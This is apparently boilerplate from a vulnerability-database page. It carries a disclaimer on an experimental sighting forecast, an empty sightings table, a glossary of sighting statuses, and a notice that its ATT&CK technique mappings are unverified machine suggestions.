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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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